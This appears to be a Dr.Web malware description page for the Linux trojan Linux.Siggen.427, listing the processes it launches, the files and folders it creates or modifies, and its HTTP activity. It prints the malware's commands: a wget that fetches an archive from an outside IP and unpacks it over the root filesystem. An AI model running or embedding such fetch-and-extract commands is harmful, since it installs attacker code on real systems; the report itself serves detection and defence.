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VCI investigations

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Linux.Siggen.427

Added to the Dr.Web virus database: 2018-02-16

Virus description added: 2018-02-16

Technical Information

Malicious functions:

Performs process tracing:

<SAMPLE>
<SAMPLE_FULL_PATH>

Launches processes:

/bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/bash <SAMPLE_FULL_PATH> -c
wget -q -N http://58.215.49.94/moma/patch_all.tgz -O ./patch_all.tgz
grep . -q patch_all.tgz
grep -q \.tgz$
tar -zxf ./patch_all.tgz -C /
gzip -d
rm -rf ./patch_all.tgz

Kills the following processes:

<SAMPLE>
<SAMPLE_FULL_PATH>

Performs operations with the file system:

Modifies file access rights:

/root/maintain
/usr/nfs/handlers/muser
/usr/www/handlers/muser
/usr/bin/jitter
/usr/nfs/inc/config.inc
/etc/auto-autofs/auto-autofs
/usr/nfs/handlers/mo
/usr/www/handlers/mo
/usr/nfs/handlers/mo2
/usr/www/handlers/mo2
/usr/nfs/handlers/ck
/usr/www/handlers/ck
/usr/nfs/handlers/sys_nfs
/home/www/index.php
/usr/nfs/index.php
/usr/nfs/handlers/videotodb.php
/usr/nfs/handlers/jstodb.php
/usr/nfs/modules/DISK_IMPORT/index.php
/usr/nfs/template/nfs/main_header.tpl.htm
/usr/nfs/template/nfs/kservice3a.js
/usr/nfs/template/nfs/style3a.css
/home/www/inc/kui3a.js
/home/www/inc/style3a.css
/home/www/kui.htm

Creates folders:

/usr/nfs
/usr/nfs/handlers
/usr/www
/usr/www/handlers
/usr/nfs/inc
/etc/auto-autofs
/home/www
/usr/nfs/modules
/usr/nfs/modules/DISK_IMPORT
/usr/nfs/template
/usr/nfs/template/nfs
/home/www/inc

Creates or modifies files:

/root/patch_all.tgz
/root/root/maintain
/root/maintain
/root/usr/nfs/handlers/muser
/usr/nfs/handlers/muser
/root/usr/www/handlers/muser
/usr/www/handlers/muser
/root/usr/bin/jitter
/usr/bin/jitter
/root/usr/nfs/inc/config.inc
/usr/nfs/inc/config.inc
/root/etc/auto-autofs/auto-autofs
/etc/auto-autofs/auto-autofs
/root/usr/nfs/handlers/mo
/usr/nfs/handlers/mo
/root/usr/www/handlers/mo
/usr/www/handlers/mo
/root/usr/nfs/handlers/mo2
/usr/nfs/handlers/mo2
/root/usr/www/handlers/mo2
/usr/www/handlers/mo2
/root/usr/nfs/handlers/ck
/usr/nfs/handlers/ck
/root/usr/www/handlers/ck
/usr/www/handlers/ck
/root/usr/nfs/handlers/sys_nfs
/usr/nfs/handlers/sys_nfs
/root/home/www/index.php
/home/www/index.php
/root/usr/nfs/index.php
/usr/nfs/index.php
/root/usr/nfs/handlers/videotodb.php
/usr/nfs/handlers/videotodb.php
/root/usr/nfs/handlers/jstodb.php
/usr/nfs/handlers/jstodb.php
/root/usr/nfs/modules/DISK_IMPORT/index.php
/usr/nfs/modules/DISK_IMPORT/index.php
/root/usr/nfs/template/nfs/main_header.tpl.htm
/usr/nfs/template/nfs/main_header.tpl.htm
/root/usr/nfs/template/nfs/kservice3a.js
/usr/nfs/template/nfs/kservice3a.js
/root/usr/nfs/template/nfs/style3a.css
/usr/nfs/template/nfs/style3a.css
/root/home/www/inc/kui3a.js
/home/www/inc/kui3a.js
/root/home/www/inc/style3a.css
/home/www/inc/style3a.css
/root/home/www/kui.htm
/home/www/kui.htm

Deletes files:

/root/patch_all.tgz"

Network activity:

HTTP GET requests:

58.###.##.94/moma/patch_all.tgz

Other:

Collects RAM information

Curing recommendations

Linux

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